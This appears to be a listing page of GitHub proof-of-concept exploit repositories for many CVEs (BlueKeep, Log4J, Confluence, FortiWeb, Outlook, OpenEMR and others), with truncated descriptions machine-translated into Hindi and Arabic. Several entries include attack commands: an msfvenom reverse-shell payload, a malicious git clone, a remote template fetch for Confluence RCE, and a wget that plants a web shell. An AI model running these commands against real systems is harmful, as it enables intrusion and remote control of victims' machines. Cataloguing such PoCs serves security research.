CVE-2019-0708

CVE-2019-0708 BlueKeep प्री-प्रमाणीकरण RCE POC विंडोज 7 पर यह रिपॉजिटरी विंडोज रिमोट डेस्कटॉप सर्विसेज RDS में रिमोट कोड एक्जीक्यूशन बग को प्रदर्शित करती है। यहाँ BlueKeep भेद्यता के बारे में एक POC कोड और तकनीकी रिपोर्ट है, जिसे हमने पहले विकसित किया था। नोट: हमारा लक्ष्य विश्लेषकों को गंभीर...

git_rce

CVE-2024-32002 PoC 1. يجب عليك إعداد خيار الرابط الرمزي لـ git كما يلي: git config --global core.symlinks true 2. ثم استغل CVE-2024-32002 باستخدام الأمر التالي: git clone --recursive https://github.com/EQSTSeminar/gitrce.git سيناريو الهجوم kali192.168.216.129 --إعطاء عنوان المستودع البعيد--...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC حول تم رصد CVE-2022-24086 من قبل Adobe على أنه "استُغل في البرية في هجمات محدودة للغاية" وقد حصل على درجة خطورة 9.8 من 10، ويمكن للخصوم الذين يستغلونه تحقيق تنفيذ تعليمات برمجية عن بُعد على الأنظمة المتأثرة دون الحاجة إلى المصادقة. المشكلة التي تُتبع الآن باسم CVE-2022-2408...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 هذا دليل إثبات للمفهوم لثغرة log4j RCE. فيما يلي بعض الروابط الخاصة بـ CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

CVE-2009-3999

CVE-2009-3999 استغلال HP Power Manager 4.2 Build 7 مستوحى من https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 الخطوة 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 تبدو CVE-2019-2107 مخيفة. ما زلنا نتذكر أخطاء Stagefright وثغرات PNG .... مع CVE-2019-2107، تعمل وحدة فك الترميز/الترميز decoder/codec تحت مستخدم mediacodec، ومع فيديو "مُصمَّم" بعناية مع تفعيل البلاطات - pspps-i1tilesenabledflag قد تتمكن من تنفيذ تعليمات برمجية عن بُع...

JSShell

JSShell 2.0 एक इंटरैक्टिव मल्टी-यूज़र वेब-आधारित जावास्क्रिप्ट शेल। इसे शुरू में प्रयोगों और अनुसंधान के दौरान दूरस्थ विचित्र ब्राउज़रों को डीबग करने के लिए बनाया गया था। इस उपकरण को ब्राउज़र रिमोट कोड निष्पादन बीफ फ्रेमवर्क के समान प्राप्त करने के लिए XSS क्रॉस-साइट स्क्रिप्टिंग पेलोड से आसानी स...

react2shell

React2Shell React सर्वर घटकों / सर्वर कार्रवाइयों CVE-2025-55182 और CVE-2025-66478 में प्रोटोटाइप प्रदूषण कमजोरियों का शोषण करने, कमजोर सर्वरों पर दूरस्थ कोड निष्पादन RCE सक्षम करने के लिए एक CLI उपकरण। मूल PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc चेतावनी: यह उपक...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Adobe AEM Forms on JEE: حقن OGNL لتحقيق RCE 🔎 نظرة عامة CVE-2025-54253 هي ثغرة حرجة من نوع حقن OGNL في Adobe AEM Forms على JEE. تسمح للمهاجمين غير المصادقين بتنفيذ أوامر نظام تشغيل عشوائية عبر نقطة النهاية /adminui/debug?debug=OGNL:. الخطورة: حرجة درجة CVSS: 9.8 قيد الانتظار نا...

CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

CVE-2026-32238 - OpenEMR कमजोरी CWE-78 : OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण 'OS कमांड इंजेक्शन' उत्पाद एक OS कमांड के सभी या भाग को बाहरी रूप से प्रभावित इनपुट का उपयोग करके बनाता है, लेकिन यह विशेष तत्वों को निष्प्रभावी नहीं करता या गलत तरीके से निष्प्रभावी करता है जो...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、ضع cmd.vm على موقعك يجب استخدام ftp أو https؛ http لا يعمل 2、عدّل RCEexp.py، وغيّر السطر: filename = 'ftp://1.1.1.1/cmd.vm' python -m pyftpdlib -p 21 3、شغّل: python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2025-25257

جدول المحتويات نظرة عامة تفاصيل الثغرة إثبات المفهوم PoC Trolled2 Trolled3 نظرة عامة CVE-2025-25257 هي ثغرة حقن SQL قبل المصادقة في موصل Fabric لـ FortiWeb من Fortinet الإصدارات 7.0 حتى 7.6.x. يسمح هذا الخلل للمهاجمين بحقن أوامر SQL ضارة في نقطة نهاية API المعرضة للخطر، مما قد يؤدي إلى تنفيذ...

CVE-2025-25257

CVE-2025-25257 CVE‑2025‑25257 هي ثغرة أمنية حرجة من نوع حقن SQL قبل المصادقة تؤثر على مكون Fabric Connector في Fortinet FortiWeb. وتؤثر على الإصدارات التالية من FortiWeb: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 التفاصيل التقنية توجد المشكلة في الدالة getfabricuserbytoken التي تقوم ببناء...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | إثبات المفهوم لثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft Outlook 📜 الوصف يقدم هذا البرنامج النصي إثباتًا للمفهوم PoC لثغرة CVE-2024-21413، وهي ثغرة أمنية كبيرة اكتُشفت في Microsoft Outlook بدرجة CVSS تبلغ 9.8. تُعرف بخلل MonikerLink، ولها آثار بعيدة المدى، بما في ذلك...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE & تحميل الموارد الخارجية التي اكتشفها @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 الاستغلال مجرد مثال لوضع شِل ويب في المجلد الحالي. python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php'...

mIRC-CVE-2019-6453

CVE-2019-6453: mIRC 7.55 पर कस्टम URI प्रोटोकॉल हैंडलर के माध्यम से आर्गुमेंट इंजेक्शन द्वारा RCE लेख का लिंक हमें mIRC में irc:// URI प्रोटोकॉल हैंडलर के माध्यम से एक Remote Code Execution भेद्यता मिली। क्योंकि mIRC तर्क सूची के अंत को चिह्नित करने के लिए -- जैसे किसी भी संकेत का उपयोग नहीं करता...

pinky

वेब शेल अपलोड करना वेब भेद्यता का शोषण करने के बाद लगभग हमेशा अगला कदम होता है, लेकिन Cloudflare जैसी सेवाएं और अगली पीढ़ी के फायरवॉल HTTP या HTTPS के माध्यम से लक्ष्य पर कमांड चलाने से हमलावरों को रोकने में बहुत अच्छा काम करते हैं। दूसरी ओर, टेक्स्ट सामग्री फ़िल्टरिंग और व्हाइटलिस्टिंग एप्लिकेशन...

CVE-2023-27532-RCE-Only

الإصدار المتشعب تنفيذ الأوامر عن بُعد فقط تم استنساخ المستودع وإزالة جزء تسريب بيانات الاعتماد. تم تطبيق إصلاحات للترجمة. CVE-2023-27532 كود إثبات المفهوم لاستغلال ثغرة CVE-2023-27532 إما لتسريب بيانات الاعتماد النصية الصريحة أو لتنفيذ أوامر عن بُعد. نظرة عامة لتحليل تفصيلي للثغرة وكيفية استغلاله...

CVE-2024-21413

CVE-2024-21413 - سكربت Expect - إثبات الفكرة ثغرة تسريب بيانات الاعتماد وتنفيذ التعليمات البرمجية عن بُعد في Microsoft Outlook عند دمجها مع CVE-2023-21716 عبر لوحة المعاينة CVSS:3.1 9.8 / 8.5 يجب أن يحذرك Outlook من المخاطرة عند فتح رابط خارجي = لكن هذا ليس هو الحال! الاستخدام: ./cve-2024-21413.s...

cve-2022-37298

CVE-2022-37298: Shinken Monitoring में RCE प्रभावित संस्करण: 2.4.3 प्रकटीकरण लिंक: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 CVE लिंक: https://vulners.com/cve/CVE-2022-37298 विवरण shinken/safepickle.py में पाया गया SafeUnpickler वर्ग, वैध निगरानी नोड्स से...